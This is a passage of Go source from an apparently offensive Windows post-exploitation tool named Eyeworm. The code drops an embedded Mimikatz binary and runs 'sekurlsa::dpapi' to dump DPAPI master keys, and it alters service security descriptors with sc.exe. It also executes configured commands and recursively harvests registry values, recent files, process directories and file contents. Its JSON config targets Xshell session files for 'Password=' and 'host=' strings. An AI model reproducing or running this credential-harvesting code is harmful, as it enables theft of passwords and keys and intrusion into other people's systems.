733 | func UnHideService(config *service.Config) {
734 | cmd := exec.Command("Powershell.exe", "&", "$env:SystemRoot\\System32\\sc.exe", "sdset", config.Name, "'D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)'")
735 | err := cmd.Run()
736 | if err != nil {
737 | fmt.Errorf(err.Error())
738 | }
739 | }
740 | func WormMasterkey() {
741 | tagetb := MimiCode.Code
742 |
743 | os.WriteFile("Masterkey.exe", tagetb, 0600)
744 |
745 | cmd := exec.Command("./Masterkey.exe", "privilege::debug", "sekurlsa::dpapi", "exit") //获得masterkey
746 | out, err := cmd.Output()
747 | if err != nil {
748 | fmt.Errorf(err.Error())
749 | }
750 | MasterkeyResult = string(out)
751 | fmt.Println("=================================WormMasterkey 结果如下:=====================================")
752 | fmt.Println(string(out))
753 | os.Remove("Masterkey.exe")
754 | }
755 | func WormMimikatz(apic *Collector) {
756 | tagetb := MimiCode.Code
757 | if !strings.Contains(apic.ProcessName[0], ".exe") {
758 | apic.ProcessName[0] = "defult.exe"
759 | }
760 | os.WriteFile(apic.ProcessName[0], tagetb, 0600)
761 | apic.Commands = append(apic.Commands, "exit")
762 | cmd := exec.Command("./"+apic.ProcessName[0], apic.Commands...) ///查看当前目录下文件
763 | out, err := cmd.Output()
764 | if err != nil {
765 | fmt.Errorf(err.Error())
766 | }
767 | ApiResult = string(out)
768 | fmt.Println("=================================MimikatzWorm 结果如下:=====================================")
769 | fmt.Println(string(out))
770 | os.Remove(apic.ProcessName[0])
771 | }
772 |
773 | func WormRecent(coller *Collector) {
774 | var recentpath = os.Getenv("APPDATA") + "/Microsoft/Windows/Recent"
775 | var rfiles []string //Recent 结果 .lnk 文件
776 | var targetType = []string{""}
777 | var recentCollertorIndex *Collector = coller
778 | err := GetAllFile(recentpath, &rfiles, &targetType, &ignoreFile, &ignorePath, &ignoreType)
779 | if err != nil {
780 | fmt.Printf(err.Error() + "\n")
781 | }
782 | for _, file := range rfiles {
783 | if path.Ext(file) == ".lnk" {
784 | if coller.NameKeys == nil || isInArray(&coller.NameKeys, "*") || len(coller.NameKeys) == 0 {
785 | tureFile := SearchLnk(file)
786 | if recentCollertorIndex.SuffixTypes == nil || isInArray(&recentCollertorIndex.SuffixTypes, "*") || len(recentCollertorIndex.SuffixTypes) == 0 {
787 | if !isInArray(&recentCollertorIndex.FliesScanTargets, tureFile) {
788 | recentCollertorIndex.FliesScanTargets = append(recentCollertorIndex.FliesScanTargets, tureFile) //真实文件地址SearchLnk(file)
789 | }
790 | } else {
791 | forsuffix1:
792 | for _, suffix := range recentCollertorIndex.SuffixTypes {
793 | if suffix == path.Ext(tureFile) || IsDir(tureFile) {
794 | if !isInArray(&recentCollertorIndex.FliesScanTargets, tureFile) {
795 | recentCollertorIndex.FliesScanTargets = append(recentCollertorIndex.FliesScanTargets, tureFile) //真实文件地址SearchLnk(file)
796 | }
797 | break forsuffix1
798 | }
799 | }
800 | }
801 | } else {
802 | for _, key := range coller.NameKeys {
803 | //判断是否包含关键词
804 | fname := filepath.Base(file)
805 | split := strings.SplitN(fname, ".", 2)
806 | if find := isMatch(split[0], key); find {
807 | // 把lnk文件的指向地址找到
808 | tureFile := SearchLnk(file)
809 | if recentCollertorIndex.SuffixTypes == nil || isInArray(&recentCollertorIndex.SuffixTypes, "*") || len(recentCollertorIndex.SuffixTypes) == 0 {
810 | if !isInArray(&recentCollertorIndex.FliesScanTargets, tureFile) {
811 | recentCollertorIndex.FliesScanTargets = append(recentCollertorIndex.FliesScanTargets, tureFile) //真实文件地址SearchLnk(file)
812 | }
813 | } else {
814 | forsuffix2:
815 | for _, suffix := range recentCollertorIndex.SuffixTypes {
816 | if suffix == path.Ext(tureFile) || IsDir(tureFile) {
817 | if !isInArray(&recentCollertorIndex.FliesScanTargets, tureFile) {
818 | recentCollertorIndex.FliesScanTargets = append(recentCollertorIndex.FliesScanTargets, tureFile) //真实文件地址SearchLnk(file)
819 | }
820 | break forsuffix2
821 | }
822 | }
823 | }
824 | }
825 | }
826 | }
827 | }
828 | }
829 | if recentCollertorIndex.ContentKeys != nil && len(recentCollertorIndex.ContentKeys) > 0 {
830 | if recentCollertorIndex.ContentKeys[0] == "" && len(recentCollertorIndex.ContentKeys) == 1 {
831 | fmt.Println("==============================================目标文件如下:==============================================\n")
832 | Fmtlog(coller.FliesScanTargets)
833 | return
834 | }
835 | var truefiles []string = recentCollertorIndex.FliesScanTargets
836 | WormFiles(truefiles, coller)
837 | } else {
838 | fmt.Println("==============================================目标文件如下:==============================================\n")
839 | Fmtlog(coller.FliesScanTargets)
840 | }
841 | }
842 | func SearchLnk(str string) string {
843 |
844 | Lnk, err := lnk.File(str)
845 | if err != nil {
846 | panic(err)
847 | }
848 |
849 | // 中文路径需要解码,英文路径可忽略
850 | targetPath, _ := simplifiedchinese.GBK.NewDecoder().String(Lnk.LinkInfo.LocalBasePath)
851 | return targetPath
852 | }
853 |
854 | func WormRegistry(coller *Collector) {
855 | for _, location := range coller.Locations {
856 | Hk, spath := GetHKandSpath(location)
857 | RegistryScan(Hk, spath, coller)
858 | FatherValueScan(Hk, spath, coller)
859 | }
860 |
861 | fmt.Println("==================================项名称匹配结果============================================")
862 | Fmtlog(coller.TRKNPathResults)
863 |
864 | if coller.ReValueNames != nil || len(coller.ReValueNames) != 0 {
865 | fmt.Println("==================================当前路径值结果============================================")
866 | Fmtlog(coller.TRVNResults)
867 | }
868 | if coller.ReValueDatas != nil || len(coller.ReValueDatas) != 0 {
869 | fmt.Println("==================================值关联数据匹配结果============================================")
870 | Fmtlog(coller.TRVDResults)
871 | }
872 |
873 | }
874 |
875 | func RegistryScan(Hk registry.Key, spath string, coller *Collector) {
876 | key, _ := registry.OpenKey(Hk, spath, registry.ALL_ACCESS)
877 |
878 | if coller.NameKeys == nil || isInArray(&coller.NameKeys, "*") || len(coller.NameKeys) == 0 {
879 | // 根据值名称/内容搜索
880 | keys, _ := key.ReadSubKeyNames(0)
881 | //先把所有子项全部收集起来
882 | for _, sk := range keys {
883 | s_spath := spath + "\\" + sk
884 | Path := CombinePath(Hk, s_spath)
885 | coller.TRKNPathResults = append(coller.TRKNPathResults, Path)
886 | sonSpath := GetSonSpath(spath, sk)
887 | RegistryScan(Hk, sonSpath, coller)
888 | }
889 | key.Close()
890 | sonsNameScan(coller)
891 | //再进行值名称/内容搜索
892 | // if coller.ReValueNames != nil || len(coller.ReValueNames) != 0 {
893 | // RvlueNameScan(coller)
894 | // }
895 | // if coller.ReValueDatas != nil || len(coller.ReValueDatas) != 0 {
896 | // RvlueDataScan(coller)
897 | // }
898 |
899 | } else {
900 | //先根据项搜索,再根据值名称/内容搜索
901 | //项搜索
902 | keys, _ := key.ReadSubKeyNames(0)
903 | for _, sk := range keys {
904 | for _, tk := range coller.NameKeys {
905 | RKeyNamematch(sk, tk, Hk, spath, coller)
906 | sonSpath := GetSonSpath(spath, sk)
907 | RegistryScan(Hk, sonSpath, coller)
908 | }
909 | }
910 | key.Close()
911 | sonsNameScan(coller)
912 | //用已经匹配到的项来进行值名称/内容搜索
913 | // if coller.ReValueNames != nil || len(coller.ReValueNames) != 0 {
914 | // RvlueNameScan(coller)
915 | // }
916 | // if coller.ReValueDatas != nil || len(coller.ReValueDatas) != 0 {
917 | // RvlueDataScan(coller)
918 | // }
919 | }
920 |
921 | }
922 | func RvlueDataScan(coller *Collector) {
923 | for _, path := range coller.TRKNPathResults {
924 | Hk, spath := GetHKandSpath(path)
925 | key, _ := registry.OpenKey(Hk, spath, registry.ALL_ACCESS)
926 | valueNames, _ := key.ReadValueNames(0)
927 | for _, name := range valueNames {
928 | if isInArray(&coller.ReValueDatas, "*") {
929 | data := GetDatas(name, key)
930 | result := fmt.Sprintf("项路径:%v \t\t 值名称:%v \t\t 数据:%v\n", path, name, data)
931 | if !isInArray(&coller.TRVDResults, result) {
932 | coller.TRVDResults = append(coller.TRVDResults, result)
933 | }
934 | } else {
935 | for _, Tdata := range coller.ReValueDatas {
936 | RvlueDataMath(path, name, Tdata, key, coller)
937 |
938 | }
939 | }
940 |
941 | }
942 | key.Close()
943 | }
944 | }
945 |
946 | func FatherValueScan(Hk registry.Key, spath string, coller *Collector) {
947 | path := CombinePath(Hk, spath)
948 | key, _ := registry.OpenKey(Hk, spath, registry.ALL_ACCESS)
949 | valueNames, _ := key.ReadValueNames(0)
950 | for _, name := range valueNames {
951 | data := GetDatas(name, key)
952 | result := fmt.Sprintf("项路径:%v \t\t 值名称:%v \t\t 数据测试:%v\n", path, name, data)
953 | if !isInArray(&coller.TRVNResults, result) {
954 | coller.TRVNResults = append(coller.TRVNResults, result)
955 | }
956 | }
957 | }
958 | func sonsNameScan(coller *Collector) {
959 | for _, path := range coller.TRKNPathResults {
960 | Hk, spath := GetHKandSpath(path)
961 | key, _ := registry.OpenKey(Hk, spath, registry.ALL_ACCESS)
962 | valueNames, _ := key.ReadValueNames(0)
963 | for _, name := range valueNames {
964 | data := GetDatas(name, key)
965 | result := fmt.Sprintf("项路径:%v \t\t 值名称:%v \t\t 数据:%v\n", path, name, data)
966 | if !isInArray(&coller.TRVNResults, result) {
967 | coller.TRVNResults = append(coller.TRVNResults, result)
968 | }
969 | }
970 | key.Close()
971 | }
972 | }
973 | func RvlueNameScan(coller *Collector) {
974 | for _, path := range coller.TRKNPathResults {
975 | Hk, spath := GetHKandSpath(path)
976 | key, _ := registry.OpenKey(Hk, spath, registry.ALL_ACCESS)
977 | valueNames, _ := key.ReadValueNames(0)
978 | for _, name := range valueNames {
979 | if isInArray(&coller.NameKeys, "*") {
980 | data := GetDatas(name, key)
981 | result := fmt.Sprintf("项路径:%v \t\t 值名称:%v \t\t 数据:%v\n", path, name, data)
982 | if !isInArray(&coller.TRVNResults, result) {
983 | coller.TRVNResults = append(coller.TRVNResults, result)
984 | }
985 | } else {
986 | for _, Tname := range coller.ReValueNames {
987 | RvlueNameMatch(path, name, Tname, key, coller)
988 | }
989 | }
990 |
991 | }
992 | key.Close()
993 | }
994 |
995 | }
996 | func RvlueDataMath(path string, name string, Tdata string, key registry.Key, coller *Collector) {
997 | data := GetDatas(name, key)
998 | if strings.Contains(data, Tdata) {
999 | result := fmt.Sprintf("项路径:%v \t\t 值名称:%v \t\t 数据:%v\n", path, name, data)
1000 | if !isInArray(&coller.TRVDResults, result) {
1001 | coller.TRVDResults = append(coller.TRVDResults, result)
1002 | }
1003 |
1004 | }
1005 | }
1006 | func RvlueNameMatch(path string, name string, Tname string, key registry.Key, coller *Collector) {
1007 | if strings.Contains(name, Tname) {
1008 | data := GetDatas(name, key)
1009 | result := fmt.Sprintf("项路径:%v \t\t 值名称:%v \t\t 数据:%v\n", path, name, data)
1010 |
1011 | if !isInArray(&coller.TRVNResults, result) {
1012 | coller.TRVNResults = append(coller.TRVNResults, result)
1013 | }
1014 |
1015 | }
1016 | }
1017 | func GetDatas(vlue_name string, key registry.Key) string {
1018 | _, valtype, _ := key.GetValue(vlue_name, nil)
1019 | switch valtype {
1020 | case registry.SZ, registry.EXPAND_SZ:
1021 | val, _, _ := key.GetStringValue(vlue_name)
1022 | return val
1023 | case registry.DWORD, registry.QWORD:
1024 | val, _, _ := key.GetIntegerValue(vlue_name)
1025 | s := strconv.FormatUint(uint64(val), 10)
1026 | return string(s)
1027 | case registry.BINARY:
1028 | val, _, _ := key.GetBinaryValue(vlue_name)
1029 | H := fmt.Sprintf("%x", val)
1030 | return "16Hex:" + H
1031 | case registry.MULTI_SZ:
1032 | val, _, _ := key.GetStringsValue(vlue_name)
1033 | return fmt.Sprint(val)
1034 | default:
1035 | return ""
1036 | }
1037 | }
1038 | func GetSonSpath(spath string, sonName string) string {
1039 | s_spath := spath + "\\" + sonName
1040 | return s_spath
1041 | }
1042 | func RKeyNamematch(key string, Tkey string, HK registry.Key, f_spath string, coller *Collector) {
1043 | if strings.Contains(key, Tkey) {
1044 | s_spath := f_spath + "\\" + key
1045 | Path := CombinePath(HK, s_spath)
1046 | if !isInArray(&coller.TRKNPathResults, Path) {
1047 | coller.TRKNPathResults = append(coller.TRKNPathResults, Path)
1048 | }
1049 |
1050 | }
1051 | }
1052 | func CombinePath(Hk registry.Key, spath string) string {
1053 | switch Hk {
1054 | case registry.CURRENT_USER:
1055 | return "HKEY_CURRENT_USER\\" + spath
1056 | case registry.CLASSES_ROOT:
1057 | return "HKEY_CLASSES_ROOT\\" + spath
1058 | case registry.LOCAL_MACHINE:
1059 | return "HKEY_LOCAL_MACHINE\\" + spath
1060 | case registry.USERS:
1061 | return "HKEY_USERS\\" + spath
1062 | case registry.CURRENT_CONFIG:
1063 | return "HKEY_CURRENT_CONFIG\\" + spath
1064 | default:
1065 | return "error 不是一個有效的HK"
1066 | }
1067 | }
1068 |
1069 | func GetHKandSpath(path string) (registry.Key, string) {
1070 | spilts := strings.SplitN(path, "\\", 2)
1071 | switch spilts[0] {
1072 | case "HKEY_CURRENT_USER":
1073 | return registry.CURRENT_USER, spilts[1]
1074 | case "HKEY_CLASSES_ROOT":
1075 | return registry.CLASSES_ROOT, spilts[1]
1076 | case "HKEY_LOCAL_MACHINE":
1077 | return registry.LOCAL_MACHINE, spilts[1]
1078 | case "HKEY_USERS":
1079 | return registry.USERS, spilts[1]
1080 | case "HKEY_CURRENT_CONFIG":
1081 | return registry.CURRENT_CONFIG, spilts[1]
1082 | default:
1083 | fmt.Println("你输入的地址不属于注册表!")
1084 | }
1085 | fmt.Errorf("hello error")
1086 | return 0, ""
1087 | }
1088 |
1089 | func WormProcesses(Tprocesses []string, coller *Collector) {
1090 | var ProceessDirs []string
1091 | for _, tp := range Tprocesses {
1092 | checkProcessExist(tp, coller)
1093 | }
1094 | fmt.Println("====================================进程path列表=============================================")
1095 | for _, path := range coller.targetProcessPaths {
1096 | fmt.Println(path)
1097 | Proceessdir := filepath.Dir(path)
1098 | ProceessDirs = append(ProceessDirs, Proceessdir)
1099 | }
1100 | fmt.Println("====================================进程路径扫描结果=============================================")
1101 | WormFiles(ProceessDirs, coller)
1102 | }
1103 |
1104 | func GetProcesses() (pns []*process.Process) {
1105 |
1106 | pids, _ := process.Pids()
1107 | for _, pid := range pids {
1108 |
1109 | pn, _ := process.NewProcess(pid)
1110 | pns = append(pns, pn)
1111 |
1112 | }
1113 | return pns
1114 | }
1115 | func checkProcessExist(tp string, coller *Collector) {
1116 | ExistErrorFlag := true
1117 | PathErrorFlag := true
1118 | Pns := GetProcesses()
1119 |
1120 | for1:
1121 | for _, p := range Pns {
1122 | Name, _ := p.Name()
1123 | if tp == Name {
1124 | ExistErrorFlag = false
1125 | //返回进程exe执行路径
1126 | Exe, _ := p.Exe()
1127 | if Exe != "" || len(Exe) != 0 {
1128 | if !isInArray(&coller.targetProcessPaths, Exe) {
1129 | coller.targetProcessPaths = append(coller.targetProcessPaths, Exe)
1130 | PathErrorFlag = false
1131 | break for1
1132 | }
1133 | println(Exe + "该路径已经在扫描队列中")
1134 | }
1135 | }
1136 | }
1137 | if ExistErrorFlag {
1138 | println(tp + "该进程不存在!")
1139 | }
1140 | if PathErrorFlag {
1141 | println(tp + "该进程无路径或为系统进程,尝试在system32中寻找该进程")
1142 | }
1143 | }
1144 |
1145 | func WormCommand(coller *Collector) {
1146 | for _, cmd := range coller.Commands {
1147 | coller.CommandResults = append(coller.CommandResults, runCmd(cmd))
1148 | }
1149 | CommandResultslog(coller.CommandResults)
1150 | }
1151 | func CommandResultslog(crs []string) {
1152 | x := 1
1153 | for _, r := range crs {
1154 | fmt.Printf("=======================第%v条命令结果============================\n", x)
1155 | fmt.Println(r)
1156 | x++
1157 | }
1158 | }
1159 |
1160 | func GetCommandResults(crs []string) string {
1161 | var result string
1162 | x := 1
1163 | for _, r := range crs {
1164 | result += fmt.Sprintf("=======================第%v条命令结果============================\n", x)
1165 | result += fmt.Sprintln(r)
1166 | x++
1167 | }
1168 | return result
1169 |
1170 | }
1171 | func InitSystemPath(p string) string {
1172 | spilts := strings.SplitN(p, "%", 3)
1173 | path := fmt.Sprint(spilts[0]) + os.Getenv(spilts[1]) + fmt.Sprint(spilts[2])
1174 | return path
1175 | }
1176 | func WormFiles(locations []string, coller *Collector) {
1177 | for _, location := range locations {
1178 | //%DATA%环境路径处理
1179 | if strings.Contains(location, "%") {
1180 | location = InitSystemPath(location)
1181 | }
1182 | fileScan(location, coller)
1183 | }
1184 |
1185 | if coller.ContentKeys != nil && len(coller.ContentKeys) != 0 {
1186 | for _, location := range coller.FliesScanTargets {
1187 | if !IsDir(location) {
1188 | FileContentScan(location, coller)
1189 | }
1190 | }
1191 | }
1192 |
1193 | fmt.Println("==================目标文件如下:====================================\n")
1194 | Fmtlog(coller.FliesScanTargets)
1195 | fmt.Println("\n\n\n==================目标内容如下:====================================\n")
1196 | Fmtlog(coller.ContentScanTagerts)
1197 | }
1198 |
1199 | func fileScan(location string, coller *Collector) {
1200 | if IsDir(location) {
1201 | DirScan(location, coller)
1202 | } else {
1203 | FileContentScan(location, coller)
1204 |
1205 | }
1206 | }
1207 |
1208 | func readCurrentDir(arg string) string {
1209 | var returnString string
1210 | file, err := os.Open(arg)
1211 | if err != nil {
1212 | fmt.Println("failed opening directory: %s", err)
1213 | }
1214 | defer file.Close()
1215 |
1216 | fileList, err := file.Readdir(0)
1217 | if err != nil {
1218 | fmt.Errorf("%s", err.Error())
1219 | }
1220 |
1221 | returnString += fmt.Sprintf("\nName\t\t\tSize\t\tIsDirectory \t\tLast Modification\n")
1222 | for _, files := range fileList {
1223 | s := fmt.Sprintf("\n%-15s %-14v %-12v %v", files.Name(), files.Size(), files.IsDir(), files.ModTime())
1224 | returnString += s
1225 | }
1226 | return returnString
1227 | }
1228 |
1229 | func getEnvs() string {
1230 | var returnStr string
1231 | envs := os.Environ()
1232 |
1233 | for _, e := range envs {
1234 | parts := strings.SplitN(e, "=", 2)
1235 | if len(parts) != 2 {
1236 | continue
1237 | } else {
1238 | str := string(parts[0]) + "=" + string(parts[1]) + "\n"
1239 | returnStr += str
1240 | }
1241 | }
1242 | return returnStr
1243 |
1244 | }
1245 |
1246 | func runCmd(cmdStr string) string {
1247 |
1248 | list := strings.Split(cmdStr, " ")
1249 | if list[0] == "dir" {
1250 | if len(list) != 1 {
1251 | return readCurrentDir(list[1])
1252 | } else {
1253 | return readCurrentDir(".")
1254 | }
1255 | }
1256 | if list[0] == "set" {
1257 | return getEnvs()
1258 | }
1259 |
1260 | cmd := exec.Command(list[0], list[1:]...)
1261 | var out bytes.Buffer
1262 | var stderr bytes.Buffer
1263 | cmd.Stdout = &out
1264 | cmd.Stderr = &stderr
1265 | err := cmd.Run()
1266 | if err != nil {
1267 | value, _ := GbkToUtf8(stderr.Bytes())
1268 | return string(value)
1269 | } else {
1270 | value, _ := GbkToUtf8(out.Bytes())
1271 | return string(value)
1272 | }
1273 | }
1274 |
1275 | func GbkToUtf8(s []byte) ([]byte, error) {
1276 | //第二个参数为“transform.Transformer”接口,simplifiedchinese.GBK.NewDecoder()包含了该接口
1277 | reader := transform.NewReader(bytes.NewReader(s), simplifiedchinese.GBK.NewDecoder())
1278 | d, e := ioutil.ReadAll(reader)
1279 | if e != nil {
1280 | return nil, e
1281 | }
1282 | return d, nil
1283 | }
1284 |
1285 | func FileContentScan(location string, coller *Collector) {
1286 | if !isInArray(&coller.SuffixTypes, "*") {
1287 | if !isInArray(&coller.SuffixTypes, path.Ext(location)) {
1288 | println("=========不是目標Suffix" + location)
1289 | return
1290 | }
1291 | }
1292 |
1293 | //只读方式打开源文件
1294 | sF, err1 := os.Open(location)
1295 | if err1 != nil {
1296 | fmt.Println("err1=", err1)
1297 | return
1298 | }
1299 | defer sF.Close()
1300 | buf := make([]byte, 4*1024) //4k大小临时缓冲区
1301 | var tagetb []byte
1302 | for {
1303 | _, err := sF.Read(buf) //从源文件读取内容,每次读取一部分
1304 | if err != nil {
1305 | if err == io.EOF { //文件读取完毕
1306 | break
1307 | }
1308 | fmt.Println("err=", err)
1309 |
1310 | }
1311 | //往目的文件写,读多少写多少
1312 | tagetb = append(tagetb, buf...)
1313 | }
1314 | if len(tagetb) != 0 {
1315 | str := string(DecodeToUtf8(tagetb))
1316 | SearchTo(location, str, coller)
1317 | }
1318 |
1319 | }
1320 |
1321 | func SearchTo(location string, content string, coller *Collector) {
1322 | //下面是查询关键词:
1323 | for _, key := range coller.ContentKeys {
1324 | indexs := GetTagertIndexs(content, key)
1325 | for _, index := range indexs {
1326 | a := strings.Split(string(content[index:]), "\r")
1327 | result := fmt.Sprintf("文件路径:%v \t\t 数据值:%v", location, a[0])
1328 | if !isInArray(&coller.ContentScanTagerts, result) {
1329 | coller.ContentScanTagerts = append(coller.ContentScanTagerts, result)
1330 | coller.ContentTargetsPath = append(coller.ContentTargetsPath, location)
1331 | }
1332 |
1333 | }
1334 | }
1335 | }
1336 |
1337 | // 获取key在Str中出现的所有位置
1338 | func GetTagertIndexs(Str string, key string) []int {
1339 | var indexs []int
1340 | var spilts []string
1341 | sum := 0
1342 | count := strings.Count(Str, key)
1343 | for i := 0; i < count; i++ {
1344 | index := strings.Index(Str, key)
1345 | index = index + sum
1346 | indexs = append(indexs, index)
1347 | spilts = strings.SplitN(Str, key, 2)
1348 | Str = spilts[len(spilts)-1]
1349 | sum = index + len(key)
1350 | }
1351 | return indexs
1352 | }
1353 |
1354 | func DecodeToUtf8(contents []byte) []byte {
1355 |
1356 | r := bytes.NewReader(contents)
1357 | d, _ := charset.NewReader(r, "gb2312")
1358 | content, _ := ioutil.ReadAll(d)
1359 | return content
1360 | }
1361 | func DirScan(location string, coller *Collector) {
1362 | var dirfiles []string
1363 | err := GetAllFile(location, &dirfiles, &coller.SuffixTypes, &ignoreFile, &ignorePath, &ignoreType)
1364 | if err != nil {
1365 | fmt.Printf(err.Error() + "\n")
1366 | return
1367 | }
1368 | if coller.NameKeys == nil || isInArray(&coller.NameKeys, "*") || len(coller.NameKeys) == 0 {
1369 | for _, file := range dirfiles {
1370 | if IsDir(file) {
1371 | DirScan(file, coller)
1372 | } else {
1373 | coller.FliesScanTargets = append(coller.FliesScanTargets, file)
1374 | }
1375 | }
1376 | } else {
1377 | for _, file := range dirfiles {
1378 | for _, key := range coller.NameKeys {
1379 | FileNameScan(file, key, coller)
1380 | }
1381 | // 如果是子文件夹,再扫描
1382 | if IsDir(file) {
1383 |
1384 | DirScan(file, coller)
1385 | }
1386 | }
1387 | }
1388 |
1389 | }
1390 |
1391 | func Fmtlog(strs []string) {
1392 | for _, str := range strs {
1393 | fmt.Println(str)
1394 | }
1395 | }
1396 | func FmtGet(strs []string) string {
1397 | var result string
1398 | for _, str := range strs {
1399 | result += fmt.Sprintln(str)
1400 | }
1401 | return result
1402 | }
1403 |
1404 | func FileNameScan(file string, key string, coller *Collector) {
1405 | fname := filepath.Base(file)
1406 |
1407 | split := strings.SplitN(fname, ".", 2)
1408 | //判断是否包含关键词
1409 | if isMatch(split[0], key) {
1410 | if !isInArray(&coller.FliesScanTargets, file) {
1411 | coller.FliesScanTargets = append(coller.FliesScanTargets, file)
1412 | }
1413 |
1414 | }
1415 | }
1416 |
1417 | func isMatch(str, key string) bool {
1418 | i := 0
1419 | j := 0
1420 | start := -1
1421 | math := 0
1422 | m := len(str)
1423 | n := len(key)
1424 | for i < m {
1425 | if j < n && (str[i] == key[j] || key[j] == '?') {
1426 | i++
1427 | j++
1428 | } else if j < n && key[j] == '*' {
1429 | start = i
1430 | math = j
1431 | j++
1432 | } else if start != -1 {
1433 | j = start + 1
1434 | math++
1435 | i = math
1436 |
1437 | } else {
1438 | return false
1439 | }
1440 | }
1441 | for j < n {
1442 | if key[j] != '*' {
1443 | return false
1444 | }
1445 | j++
1446 | }
1447 | return true
1448 | }
1449 |
1450 | func IsDir(name string) bool {
1451 | if info, err := os.Stat(name); err == nil {
1452 | return info.IsDir()
1453 | }
1454 | return false
1455 | }
1456 | func (cc CollectConfig) FindByShortName(short_name string) Collector {
1457 | var targetCollector Collector
1458 | for _, collector := range cc.Collectors {
1459 | if collector.ShortName == short_name {
1460 | targetCollector = collector
1461 | }
1462 | }
1463 | return targetCollector
1464 | }
1465 |
1466 | func (cc CollectConfig) FindByType(_type string) []*Collector {
1467 | var targetCollectors []*Collector
1468 | for _, collector := range cc.Collectors {
1469 | if collector.CollectorType == _type {
1470 | newcoller := collector
1471 | targetCollectors = append(targetCollectors, &newcoller)
1472 | }
1473 | }
1474 | return targetCollectors
1475 | }
1476 |
1477 | func GetAllFile(path string, files *[]string, targetType *[]string, ignoreFile *[]string, ignorePath *[]string, ignoreType *[]string) (err error) {
1478 |
1479 | if !isAllEmpty(targetType) && !isAllEmpty(ignoreType) {
1480 |
1481 | fmt.Printf("WARNGING: 目标文件类型已指定, 忽略文件类型无须指定。后续处理中忽略文件类型作为空处理\n")
1482 | }
1483 |
1484 | err = getAllFileRecursion(path, files, targetType, ignoreFile, ignorePath, ignoreType)
1485 | return err
1486 | }
1487 |
1488 | // 判断数组各元素是否是空字符串或空格
1489 | func isAllEmpty(list *[]string) (isEmpty bool) {
1490 |
1491 | if len(*list) == 0 {
1492 | return true
1493 | }
1494 |
1495 | isEmpty = true
1496 | for _, f := range *list {
1497 |
1498 | if strings.TrimSpace(f) != "" {
1499 | isEmpty = false
1500 | break
1501 | }
1502 | }
1503 |
1504 | return isEmpty
1505 | }
1506 | func getAllFileRecursion(path string, files *[]string, targetType *[]string, ignoreFile *[]string, ignorePath *[]string, ignoreType *[]string) (err error) {
1507 | l, err := ioutil.ReadDir(path)
1508 | if err != nil {
1509 | return err
1510 | }
1511 |
1512 | separator := string(os.PathSeparator)
1513 | for _, f := range l {
1514 | tmp := string(path + separator + f.Name())
1515 |
1516 | if f.IsDir() {
1517 | *files = append(*files, tmp)
1518 | // 过滤被忽略的文件夹(文件夹名完全相同)
1519 | if !isInArray(ignorePath, f.Name()) {
1520 |
1521 | err = getAllFileRecursion(tmp, files, targetType, ignoreFile, ignorePath, ignoreType)
1522 | if err != nil {
1523 | return err
1524 | }
1525 | }
1526 | } else {
1527 | // 目标文件类型被指定
1528 | if !isAllEmpty(targetType) {
1529 |
1530 | // 属于目标文件类型
1531 | if isInSuffix(targetType, f.Name()) {
1532 |
1533 | // 忽略文件为空 或者 目标文件中不含有指定忽略文件
1534 | if isAllEmpty(ignoreFile) || !isInArray(ignoreFile, f.Name()) {
1535 |
1536 | *files = append(*files, tmp)
1537 | }
1538 | }
1539 | } else { // 目标文件类型为空
1540 |
1541 | // 忽略文件类型被指定
1542 | if !isAllEmpty(ignoreType) {
1543 |
1544 | // 不属于忽略文件类型
1545 | if !isInSuffix(ignoreType, f.Name()) {
1546 |
1547 | // 忽略文件为空 或者 目标文件中不含有指定忽略文件
1548 | if isAllEmpty(ignoreFile) || !isInArray(ignoreFile, f.Name()) {
1549 |
1550 | *files = append(*files, tmp)
1551 | }
1552 | }
1553 | } else { // 忽略文件类型为空
1554 |
1555 | // 忽略文件为空 或者 目标文件中不含有指定忽略文件
1556 | if isAllEmpty(ignoreFile) || !isInArray(ignoreFile, f.Name()) {
1557 |
1558 | *files = append(*files, tmp)
1559 | }
1560 | }
1561 | }
1562 | }
1563 | }
1564 |
1565 | return nil
1566 | }
1567 |
1568 | // 判断目标字符串的末尾是否含有数组中指定的字符串
1569 | func isInSuffix(list *[]string, s string) (isIn bool) {
1570 |
1571 | isIn = false
1572 | for _, f := range *list {
1573 |
1574 | if strings.TrimSpace(f) != "" && strings.HasSuffix(s, f) {
1575 | isIn = true
1576 | break
1577 | }
1578 | }
1579 |
1580 | return isIn
1581 | }
1582 |
1583 | // 判断目标字符串是否是在数组中
1584 | func isInArray(list *[]string, s string) (isIn bool) {
1585 |
1586 | if len(*list) == 0 {
1587 | return false
1588 | }
1589 |
1590 | isIn = false
1591 | for _, f := range *list {
1592 |
1593 | if f == s {
1594 | isIn = true
1595 | break
1596 | }
1597 | }
1598 |
1599 | return isIn
1600 | }
1601 |
--------------------------------------------------------------------------------
/EyeWorm.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/imsellbaox/Eyeworm/26daf2c360b6fa560f81920af6930ae69e308ec7/EyeWorm.jpg
--------------------------------------------------------------------------------
/Eyeworm.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/imsellbaox/Eyeworm/26daf2c360b6fa560f81920af6930ae69e308ec7/Eyeworm.exe
--------------------------------------------------------------------------------
/PackSource/EyeConfig.json:
--------------------------------------------------------------------------------
1 | {
2 | "CollectConfigTable" : {
3 | "Collectors":[
4 | {
5 | "RuleName":"DefultFilesWorm",
6 | "OS": "Windows",
7 | "CollectorType": "File",
8 | "Category": "defult",
9 | "Locations":[ "C:/Users/V/Desktop/vvvsss/sss"],
10 | "ContentKeys": ["\"_id\":"],
11 | "FileName":["*d"],
12 | "SuffixTypes":[".txt"],
13 | "Explain": "文件及文件夹收集,支持 *,?通配符 ",
14 | "Commands":null,
15 | "ProcessName": null,
16 | "DeCrypt": false,
17 | "DeCryptCommand": null
18 | },
19 | {
20 | "RuleName":"XshellFileWorm",
21 | "OS":"Windows",
22 | "CollectorType": "File",
23 | "Category": "Remote control",
24 | "Locations":[ "C:/Users/V/Desktop/xshellstargt"],
25 | "ContentKeys": ["Password=","host="],
26 | "FileName":["*"],
27 | "SuffixTypes":[".xsh"],
28 | "Explain": "Xshell 的定制化 文件夹收集",
29 | "Commands":null,
30 | "ProcessName": null,
31 | "DeCrypt": false,
32 | "DeCryptCommand": null
33 | },
34 | {
35 | "RuleName":"RecentWorm",
